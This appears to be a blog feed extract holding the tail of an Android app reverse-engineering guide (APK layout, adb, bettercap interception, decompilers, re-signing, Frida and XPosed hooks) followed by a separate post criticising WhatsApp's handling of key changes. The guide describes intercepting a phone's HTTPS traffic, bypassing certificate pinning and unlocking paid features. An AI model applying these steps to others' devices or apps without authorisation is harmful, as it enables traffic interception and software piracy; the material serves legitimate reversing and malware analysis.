Keep in mind that this is the perfect starting point to isolate the application “entry points”, namely the classes you’ll reverse first in order to understand the logic of the whole software. In this case for instance, we would start inspecting the com.company.appname.MainActivity
class being it declared as the main UI for the application.
/assets/* ( folder )
This folder will contain application specific files, like wav files the app might need to play, custom fonts and so on. Reversing-wise it’s usually not very important, unless of course you find inside the software functional references to such files.
/res/* ( folder )
All the resources, like the activities xml files, images and custom styles are stored here.
/resources.arsc ( file )
This is the “index” of all the resources, long story short, at each resource file is assigned a numeric identifier that the app will use in order to identify that specific entry and the resources.arsc
file maps these files to their identifiers … nothing very interesting about it.
/classes.dex ( file )
This file contains the Dalvik ( the virtual machine running Android applications ) bytecode of the app, let me explain it better. An Android application is (most of the times) developed using the Java programming language. The java source files are then compiled into this bytecode which the Dalvik VM eventually will execute … pretty much what happens to normal Java programs when they’re compiled to .class
files.
Long story short, this file contains the logic, that’s what we’re interested into.
Sometimes you’ll also find a classes2.dex
file, this is due to the DEX format which has a limit to the number of classes you can declare inside a single dex file, at some point in history Android apps became bigger and bigger and so Google had to adapt this format, supporting a secondary .dex
file where other classes can be declared.
From our perspective it doesn’t matter, the tools we’re going to use are able to detect it and append it to the decompilation pipeline.
/libs/ ( folder )
Sometimes an app needs to execute native code, it can be an image processing library, a game engine or whatever. In such case, those .so
ELF libraries will be found inside the libs
folder, divided into architecture specific subfolders ( so the app will run on ARM, ARM64, x86, etc ).
/META-INF/ ( folder )
Every Android application needs to be signed with a developer certificate in order to run on a device, even debug builds are signed by a debug certificate, the META-INF
folder contains information about the files inside the APK and about the developer.
Inside this folder, you’ll usually find:
MANIFEST.MF
file with the SHA-1 or SHA-256 hashes of all the files inside the APK.CERT.SF
file, pretty much like the MANIFEST.MF, but signed with the RSA
key.CERT.RSA
file which contains the developer public key used to sign the CERT.SF
file and digests.Those files are very important in order to guarantee the APK integrity and the ownership of the code. Sometimes inspecting such signature can be very handy to determine who really developed a given APK. If you want to get information about the developer, you can use the openssl
command line utility:
openssl pkcs7 -in /path/to/extracted/apk/META-INF/CERT.RSA -inform DER -print
This will print an output like:
PKCS7: type: pkcs7-signedData (1.2.840.113549.1.7.2) d.sign: version: 1 md_algs: algorithm: sha1 (1.3.14.3.2.26) parameter: NULL contents: type: pkcs7-data (1.2.840.113549.1.7.1) d.data: <ABSENT> cert: cert_info: version: 2 serialNumber: 10394279457707717180 signature: algorithm: sha1WithRSAEncryption (1.2.840.113549.1.1.5) parameter: NULL issuer: C=TW, ST=Taiwan, L=Taipei, O=ASUS, OU=PMD, CN=ASUS AMAX Key/emailAddress=admin@asus.com validity: notBefore: Jul 8 11:39:39 2013 GMT notAfter: Nov 23 11:39:39 2040 GMT subject: C=TW, ST=Taiwan, L=Taipei, O=ASUS, OU=PMD, CN=ASUS AMAX Key/emailAddress=admin@asus.com key: algor: algorithm: rsaEncryption (1.2.840.113549.1.1.1) parameter: NULL public_key: (0 unused bits) ... ... ...
This can be gold for us, for instance we could use this information to determine if an app was really signed by (let’s say) Google or if it was resigned, therefore modified, by a third party.
Now that we have a basic idea of what we’re supposed to find inside an APK, we need a way to actually get the APK file of the application we’re interested into. There are two ways, either you install it on your device and use adb
to get it, or you use an online service to download it.
First of all let’s plug our smartphone to the USB port of our computer and get a list of the installed packages and their namespaces:
adb shell pm list packages
This will list all packages on your smartphone, once you’ve found the namespace of the package you want to reverse ( com.android.systemui
in this example ), let’s see what its physical path is:
adb shell pm path com.android.systemui
Finally, we have the APK path:
package:/system/priv-app/SystemUIGoogle/SystemUIGoogle.apk
Let’s pull it from the device:
adb pull /system/priv-app/SystemUIGoogle/SystemUIGoogle.apk
And here you go, you have the APK you want to reverse!
Multiple online services are available if you don’t want to install the app on your device (for instance, if you’re reversing a malware, you want to start having the file first, then installing on a clean device only afterwards), here’s a list of the ones I use:
Keep in mind that once you download the APK from these services, it’s a good idea to check the developer certificate as previously shown in order to be 100% sure you downloaded the correct APK and not some repackaged and resigned stuff full of ads and possibly malware.
Now we start with some tests in order to understand what the app is doing while executed. My first test usually consists in inspecting the network traffic being generated by the application itself and, in order to do that, my tool of choice is bettercap … well, that’s why I developed it in the first place :P
Make sure you have bettercap installed and that both your computer and the Android device are on the same wifi network, then you can start MITM-ing the smartphone ( 192.168.1.5
in this example ) and see its traffic in realtime from the terminal:
sudo bettercap -T 192.168.1.5 -X
The -X
option will enable the sniffer, as soon as you start the app you should see a bunch of HTTP and/or HTTPS servers being contacted, now you know who the app is sending the data to, let’s now see what data it is sending:
sudo bettercap -T 192.168.1.5 --proxy --proxy-https --no-sslstrip
This will switch from passive sniffing mode, to proxying mode. All the HTTP and HTTPS traffic will be intercepted (and, if neeeded, modified) by bettercap.
If the app is correctly using public key pinning (as every application should) you will not be able to see its HTTPS traffic but, unfortunately, in my experience this only happens for a very small number of apps.
From now on, keep triggering actions on the app while inspecting the traffic ( you can also use Wireshark
in parallel to get a PCAP
capture file to inspect it later ) and after a while you should have a more or less complete idea of what protocol it’s using and for what purpose.
After the network analysis, we collected a bunch of URLs and packets, we can use this information as our starting point, that’s what we will be looking for while performing static analysis on the app. “Static analysis” means that you will not execute the app now, but you’ll rather just study its code. Most of the times this is all you’ll ever need to reverse something.
There’re different tools you can use for this purpose, let’s take a look at the most popular ones.
APKTool is the very first tool you want to use, it is capable of decompiling the AndroidManifest
file to its original XML format, the resources.arsc
file and it will also convert the classes.dex
( and classes2.dex
if present ) file to an intermediary language called SMALI
, an ASM-like language used to represent the Dalvik VM opcodes as a human readable language.
It looks like:
1 | .super Ljava/lang/Object; |
But don’t worry, in most of the cases this is not the final language you’re gonna read to reverse the app ;)
Given an APK, this command line will decompile it:
apktool d application.apk
Once finished, the application
folder is created and you’ll find all the output of apktool in there.
You can also use apktool
to decompile an APK, modify it and then recompile it ( like i did with the Nike+ app in order to have more debug logs for instance ), but unless the other tools will fail the decompilation, it’s unlikely that you’ll need to read smali
code in order to reverse the application, let’s get to the other tools now ;)
The jADX suite allows you to simply load an APK and look at its Java source code. What’s happening under the hood is that jADX is decompiling the APK to smali and then converting the smali back to Java. Needless to say, reading Java code is much easier than reading smali as I already mentioned :)
Once the APK is loaded, you’ll see a UI like this:
One of the best features of jADX is the string/symbol search ( the button ) that will allow you to search for URLs, strings, methods and whatever you want to find inside the codebase of the app.
Also, there’s the Find Usage
menu option, just highlight some symbol and right click on it, this feature will give you a list of every references to that symbol.
Similar to jADX are the dex2jar and JD-GUI tools, once installed, you’ll use dex2jar
to convert an APK to a JAR file:
/path/to/dex2jar/d2j-dex2jar.sh application.apk
Once you have the JAR file, simply open it with JD-GUI and you’ll see its Java code, pretty much like jADX:
Unfortunately JD-GUI is not as features rich as jADX, but sometimes when one tool fails you have to try another one and hope to be more lucky.
As your last resort, you can try the JEB decompiler. It’s a very good software, but unfortunately it’s not free, there’s a trial version if you want to give it a shot, here’s how it looks like:
JEB also features an ARM disassembler ( useful when there’re native libraries in the APK ) and a debugger ( very useful for dynamic analysis ), but again, it’s not free and it’s not cheap.
As previously mentioned, sometimes you’ll find native libraries ( .so
shared objects ) inside the lib
folder of the APK and, while reading the Java code, you’ll find native
methods declarations like the following:
1 | public native String stringFromJNI(); |
The native
keyword means that the method implementation is not inside the dex
file but, instead, it’s declared and executed from native code trough what is called a Java Native Interface
or JNI.
Close to native methods you’ll also usually find something like this:
1 | System.loadLibrary("hello-jni"); |
Which will tell you in which native library the method is implemented. In such cases, you will need an ARM ( or x86 if there’s a x86 subfolder inside the libs
folder ) disassembler in order to reverse the native object.
The very first disassembler and decompiler that every decent reverser should know about is Hex-Rays IDA which is the state of the art reversing tool for native code. Along with an IDA license, you can also buy a decompiler
license, in which case IDA will also be able to rebuild pseudo C-like code from the assembly, allowing you to read an higher level representation of the library logic.
Unfortunately IDA is a very expensive software and, unless you’re reversing native stuff professionaly, it’s really not worth spending all those money for a single tool … warez … ehm … :P
If you’re on a budget but you need to reverse native code, instead of IDA you can give Hopper a try. It’s definitely not as good and complete as IDA, but it’s much cheaper and will be good enough for most of the cases.
Hopper supports GNU/Linux and macOS ( no Windows! ) and, just like IDA, has a builtin decompiler which is quite decent considering its price:
When static analysis is not enough, maybe because the application is obfuscated or the codebase is simply too big and complex to quickly isolate the routines you’re interested into, you need to go dynamic.
Dynamic analysis simply means that you’ll execute the app ( like we did while performing network analysis ) and somehow trace into its execution using different tools, strategies and methods.
Sandboxing is a black-box dynamic analysis strategy, which means you’re not going to actively trace into the application code ( like you do while debugging ), but you’ll execute the app into some container that will log the most relevant actions for you and will present a report at the end of the execution.
Cuckoo-Droid is an Android port of the famous Cuckoo sandbox, once installed and configured, it’ll give you an activity report with all the URLs the app contacted, all the DNS queries, API calls and so forth:
The mobile Joe Sandbox is a great online service that allows you to upload an APK and get its activity report without the hassle of installing or configuring anything.
This is a sample report, as you can see the kind of information is pretty much the same as Cuckoo-Droid, plus there’re a bunch of heuristics being executed in order to behaviourally correlate the sample to other known applications.
If sandboxing is not enough and you need to get deeper insights of the application behaviour, you’ll need to debug it. Debugging an app, in case you don’t know, means attaching to the running process with a debugger
software, putting breakpoints
that will allow you to stop the execution and inspect the memory state and step
into code lines one by one in order to follow the execution graph very closely.
When an application is compiled and eventually published to the Google Play Store, it’s usually its release
build you’re looking at, meaning debugging has been disabled by the developer and you can’t attach to it directly. In order to enable debugging again, we’ll need to use apktool
to decompile the app:
apktool d application.apk
Then you’ll need to edit the AndroidManifest.xml
generated file, adding the android:debuggable="true"
attribute to its application
XML node:
1 |
|
Once you updated the manifest, let’s rebuild the app:
apktool b -d application_path output.apk
Now let’s resign it:
git clone https://github.com/appium/signjava -jar sign/dist/signapk.jar sign/testkey.x509.pem sign/testkey.pk8 output.apk signed.apk
And reinstall it on the device (make sure you unistalled the original version first):
adb install signed.apk
Now you can proceed debugging the app ^_^
Android Studio is the official Android IDE, once you have debug mode enabled for your app, you can directly attach to it using this IDE and start debugging:
If you have an IDA license that supports Dalvik debugging, you can attach to a running process and step trough the smali code, this document describes how to do it, but basically the idea is that you upload the ARM debugging server ( a native ARM binary ) on your device, you start it using adb
and eventually you start your debugging session from IDA.
Dynamic instrumentation means that you want to modify the application behaviour at runtime and in order to do so you inject some “agent” into the app that you’ll eventually use to instrument it.
You might want to do this in order to make the app bypass some checks ( for instance, if public key pinning is enforced, you might want to disable it with dynamic instrumentation in order to easily inspect the HTTPS traffic ), make it show you information it’s not supposed to show ( unlock “Pro” features, or debug/admin activities ), etc.
Frida is a great and free tool you can use to inject a whole Javascript engine into a running process on Android, iOS and many other platforms … but why Javascript?
Because once the engine is injected, you can instrument the app in very cool and easy ways like this:
1 | from __future__ import print_function |
In this example, we’re just inspecting some function argument, but there’re hundreds of things you can do with Frida, just RTFM! and use your imagination :D
Here‘s a list of cool Frida resources, enjoy!
Another option we have for instrumenting our app is using the XPosed Framework. XPosed is basically an instrumentation layer for the whole Dalvik VM which requires you to to have a rooted phone in order to install it.
From XPosed wiki:
There is a process that is called "Zygote". This is the heart of the Android runtime. Every application is started as a copy ("fork") of it. This process is started by an /init.rc script when the phone is booted. The process start is done with /system/bin/app_process, which loads the needed classes and invokes the initialization methods.This is where Xposed comes into play. When you install the framework, an extended app_process executable is copied to /system/bin. This extended startup process adds an additional jar to the classpath and calls methods from there at certain places. For instance, just after the VM has been created, even before the main method of Zygote has been called. And inside that method, we are part of Zygote and can act in its context.The jar is located at /data/data/de.robv.android.xposed.installer/bin/XposedBridge.jar and its source code can be found here. Looking at the class XposedBridge, you can see the main method. This is what I wrote about above, this gets called in the very beginning of the process. Some initializations are done there and also the modules are loaded (I will come back to module loading later).
Once you’ve installed XPosed on your smartphone, you can start developing your own module (again, follow the project wiki), for instance, here’s an example of how you would hook the updateClock
method of the SystemUI application in order to instrument it:
1 | package de.robv.android.xposed.mods.tutorial; |
There’re already a lot of user contributed modules you can use, study and modify for your own needs.
I hope you’ll find this reference guide useful for your Android reversing adventures, keep in mind that the most important thing while reversing is not the tool you’re using, but how you use it, so you’ll have to learn how to choose the appropriate tool for your scenario and this is something you can only learn with experience, so enough reading and start reversing! :D
]]>In a matter of hours, a shit load of experts (and unfortunately also lot of ppl who are not experts at all) pointed their fingers at The Guardian, arguing that it’s not a backdoor and all other kind of sterile polemics. At some point, Moxie from Open Whisper Systems, the noprofit organization who made Signal, the only really secure messaging app we’re aware of and the library that WhatsApp recently integrated in order to give E2E encrypted messaging to all of their users, published on the blog this: “There is no WhatsApp ‘backdoor’“, which seemed to have put the word END to this conversation.
I do not agree and, since a lot of ego is going on here, I’d like to share my thoughts as well.
.@guardian Pathetically, everyone who jumped to trumpet my tweets of a Telegram weakness will ignore this because WhatsApp staff stroked the right egos
— Nadim Kobeissi (@kaepora) 13 gennaio 2017
First thing first, following the PoC||GTFO sacrosanct principle, let’s take a look at the video that Tobias recently uploaded.
In the video Tobias just swapped the SIM card to the other phone to prove his point, but it’s quite clear that from a state sponsored attacker perspective, physical access to the sim card or the victim’s phone is not needed at all, there are plenty of easier ways for them to do that ( pretty much like Russia did with SS7 & Telegram users ).
Long story short, if WhatsApp technicians manage to replace your recipient E2E encryption key on the server side and impersonate him (or manage to clone his sim on the TELCO side), your sensitive message will be sent anyway, the client will show you just a warning about the key change, but nevertheless, let’s say it again, your sensitive message will be sent anyway … and they’ll be able to read it, period.
On the other hand, Signal prevents this from happening, once it’ll detect the key being changed, it will block the conversation and warn the user about it, it’ll be the user then to decide if trusting the new key or not, regardless, the sensitive contents won’t be rentransmitted without the user allowing it, this is a subtle but very important detail.
quoting mr @csoghoian, this sentence quite fits in this whole WhatsApp / Guardian / @whispersystems discussion pic.twitter.com/DHEnmYqRrw
— Simone Margaritelli (@evilsocket) 14 gennaio 2017
Yes, they do implement the same protocol and no, we don’t have any real evidence that Facebook messed with it, still they created (either intentionally or not) a very serious security vulnerability for their users.
And it’s exactly about intentionality we’re talking about, if it was intentionally implelemented to spy on users it’s a backdoor, otherwise it’s not a backdoor … but we don’t know, we never will and honestly it’s just a stupid and pointless waste of time discussing about it further.
But the point is, why implementing e2e encryption in the first place if when keys do not match what expected, the client transmits the message anyway? Usability? The usability of what? Because E2E encryption is not usable that way, the client itself might be, but definitely not the underlying protocol which should guarantee the users privacy on top of everything else.
Moreover, do you really expect the average whatsapp user to understand what that yellow baloon means if you don’t clearly block the conversation and warn him about what happened? Is this usability? COME ON!
I think Moxie just missed the point, which is not they key being changed, but the client retransmitting the message regardless!
I used to respect him for his life-long battle for privacy, but reading his post it’s quite clear how his opinion is biased towards Facebook.
.@guardian Whisper Systems comes to Facebook/WhatsApp's defense on its own blog honestly not understanding the problem. Wow. https://t.co/6EZ0K9Xcle
— Nadim Kobeissi (@kaepora) 13 gennaio 2017
I’m not a cryptographer of a crypto expert of any kind, but I’ve spent quite a few years working on MITM attacks and tools, I’m well aware how easy it is for anyone to exploit the information you leak on a network, and I’m well aware that state sponsored attackers have trillions of other ways to do that more easily and transparently (for the user of course) … we should just stop the drama about it being a backdoor or not and focus on what really matters:
It is definitely a serious security issue for the users privacy and Facebook refused to fix it.
There’s really nothing more than that to say.
]]>